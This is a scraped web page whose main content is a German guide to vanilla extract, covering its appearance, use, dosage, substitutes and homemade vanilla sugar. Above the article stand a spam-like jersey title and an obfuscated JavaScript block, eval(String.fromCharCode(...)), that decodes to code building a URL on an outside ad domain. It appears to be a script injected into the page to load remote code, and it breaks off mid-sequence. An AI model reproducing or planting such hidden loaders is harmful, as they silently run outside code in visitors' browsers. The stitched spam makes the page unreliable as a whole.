Nyheim Hines Authentic Jersey var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 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Vanille-Extrakt Ratgeber

Was ist Vanille-Extrakt?

Eins der beliebtesten Aromen auf dieser Welt ist Vanille. Nicht nur das es in Eis und Schokolade wunderbar duftet und schmeckt, es kann auch als Duftstoff in Shampoos, Duschzeug oder Parfüms begeistern. Damit dies gelingen kann gibt es als ein der besten Aromen den Extrakt. Aus einer Vanilleschote gewonnen, die schon fermentiert ist, kann die Vanille ihr volles Aroma entwickeln und trägt als Zutat für die schönsten Rezepte dazu bei, dass vor allem auch süße amerikanische Speisen das typische Vanillearoma und den süßlichen Geschmack der Vanille erhalten.

Im Gegensatz zu anderen Produkten, die auch den Speisen ein Vanillearoma verleihen sollen, ist der Extrakt ein zu 100 % natürliches Produkt. Der Vanille-Extrakt ist wirklich aus der Verarbeitung der Vanilleschote entstanden und darf sich mit Fug und Recht als natürliches Vanillearoma bezeichnen. Der Vanille-Extrakt kann seine volle Kraft entfalten, weil die Vanille durch den Alkohol in dem sie liegt die ganzen Aromen auf die sie umgebende Flüssigkeit übertragen kann. Aber auch Stoffe wie ein Sirup oder Glycerin können den Geschmack und das Aroma der Vanille annehmen.

Wie sieht Vanille-Extrakt aus?

Kauft man sich Extrakt, dann ist es meistens in einem kleinen Fläschchen vorrätig. Der Kenner wird sich vielleicht für eine Flasche entscheiden, in der noch eine oder mehrere Vanilleschoten in der meist bräunlichen Flüssigkeit schwimmen. Es gibt die Flüssigkeit aber auch pur zu kaufen. Von der Farbe her kann die Flüssigkeit an Cola erinnern oder an einen schwarzen Tee. In der Flüssigkeit wird der Käufer aber nicht nur Vanilleschoten finden, natürlich ist hier auch das Mark der Vanille immer mit verarbeitet worden. Es gibt aber auch Produkte die durch einen hellen Farbton auffallen. Hier kann die Qualität und die Intensität der Vanille nicht so zur Geltung kommen. Je dunkler der Farbton beim Extrakt ist, umso mehr haben sich der Vanillegeschmack und sein Aroma in der sich umgebenden Flüssigkeit festgesetzt.

Wie verwendet man Vanille-Extrakt?

Wer ein Fläschchen Extrakt mit Vanilleschoten hat, der wird immer wieder Rezepte finden, die mit einer kleinen Menge Extrakt intensiv nach Vanille schmecken und riechen sollen. Die Vanilleschoten sollte man immer in der Flasche lassen und je nach Alkoholart, sollte man die Flasche wieder füllen, wenn man eine bestimmte Menge des Extrakts heraus geschüttet hat. Dies kann eine Zeitlang gehen, bis man merkt, dass die Intensität des Extrakts deutlich nachgelassen hat.

Wer immer wieder neuen Extrakt machen will, der kann aber auch die ursprünglichen Vanilleschoten teilweise durch neue und frische Vanilleschoten ersetzen. So erhält man einen Extrakt mit gleichbleibender Qualität und der hohe Preis einer großen Flasche Vanille-Extrakt kann einer überzeugend langen Nutzungsdauer gegenüberstehen. Dazu kommt noch, dass auch das Vanille-Extrakt selber über sehr viele Monate ein gleichbleibend intensives Aroma vorweisen kann. Extrakt ist somit auch eine Zutat, die für den Hobbykoch geeignet ist, der nur selten seine Küche betritt. In der Regel kann der Extrakt teelöffelweise genutzt werden, weil ein Teelöffel der Stärke einer Vanilleschote entspricht.

Wieviel Vanille-Extrakt braucht man?

Wer sich über die Dosierung von Extrakt Klarheit verschaffen will, der sollte erst einmal auf die Flasche schauen und hoffen, dass sich hier eine Dosierungsanleitung befindet. Leider ist dies nicht immer der Fall und somit sollte man sich an die Regel halten, dass ein Teelöffel voll Extrakt einem Tütchen Vanillezucker entspricht. Doch schaut man sich die Hinweise der Kenner von Vanille-Extrakt an, dann gibt es doch einige Unterschiede in der Nutzung und der bevorzugten Menge für Kuchen und Plätzchen.

Gerade am Anfang wird der Neunutzer von Extrakt von der Intensität vielleicht nicht so begeistert sein. Dies kann aber daran liegen, dass Nase und Gaumen nur die chemische Vanille kennen, die dem Nutzer ganz intensiv vorgaukelt, dass in einem Produkt Vanille vorhanden ist. Für Plätzchen und Kuchen in der Menge für 4 Personen kann ein Teelöffel Vanilleextrakt genügen, denn hierbei hat der Backfan die Kraft einer Vanilleschote für sein Rezept. Dies kann für diese Menge bei einem Rezept vollkommen ausreichend sein.

Wie kann ich Vanille-Extrakt ersetzen?

Da es sich bei Extrakt um ein absolut natürliches Aroma handelt, kann der Nutzer als Ersatz auch andere natürliche Aromen nutzen. Hierbei werden von Hobbyköchen auch gerne mal der Vanillehonig oder ein Vanilleöl genommen. Der Vorteil von Ersatzprodukten kann sein, dass man ein Öl oder einen Honig verwendet, die neben der Vanille der Zutat noch eine schöne Unternote verleihen kann. Will man Öl oder Honig selber herstellen, dann sollte man aber vermeiden, dass man Produkte nimmt, die über ein zu starkes Eigenaroma verfügen, weil dies das schöne Aroma der Vanille überdecken kann und vielleicht sogar so verändert, dass nur noch das Öl oder der Honig zu schmecken und zu riechen ist.

Natürlich ist es einfach am Besten, wenn statt Extrakt, das Vanillemark direkt verwendet wird. Aber auch ein natürlicher Vanillezucker kann nun dazu beitragen, dass bei einer Süßspeise die Vanille wunderbar zu riechen und zu schmecken ist. Wer Vanille-Extrakt im Internet kaufen will, der kann hier auch statt der normalen Flüssigkeit einen zähflüssigen Extrakt kaufen. Aber auch eine Paste kann die Alternative zu einer normalen Flüssigkeit beim Extrakt sein.

Welche Alternativen zu Vanille-Extrakt gibt es?

Für viele Speisen kann das frisch gekratzte Vanillemark eine gute Wahl sein. Wer süße Speisen zubereiten will, der kann mit einem natürlichen selbsthergestellten Vanillezucker immer die beste Wirkung erzielen. Hierfür wird der Backofen auf 150 Grad vorgewärmt und es sollten mehrere Vanilleschoten im Backofen für eine Viertelstunde erhitzt werden. Jetzt kann der Zucker im Thermomix ganz fein gemahlen werden und danach wird alles mit einem Pfund Zucker vermischt. Ein aromatischer Vanillezucker, der lange ganz intensiv duften wird. Ob Essig oder Sirup, Vanille kann in den verschiedensten Alternativen dafür sorgen, dass eine Zutat entsteht, die dem Essen einen intensiven Vanilleduft bescheren kann. Aus den USA bringt sich so mancher Backfan gerne mal eine Vanillepaste mit, aber aus dem Vereinigten Königreich kann ein zähflüssiger Extrakt kommen. Wer nur den starken Duft der Vanille in Eis oder Gerichten haben will, der wird vielleicht wie viele Restaurants und Eisdielen in Deutschland zu künstlichen Vanillearomen greifen, die noch intensiver nach Vanille riechen, als es die Natur möglich macht.

 

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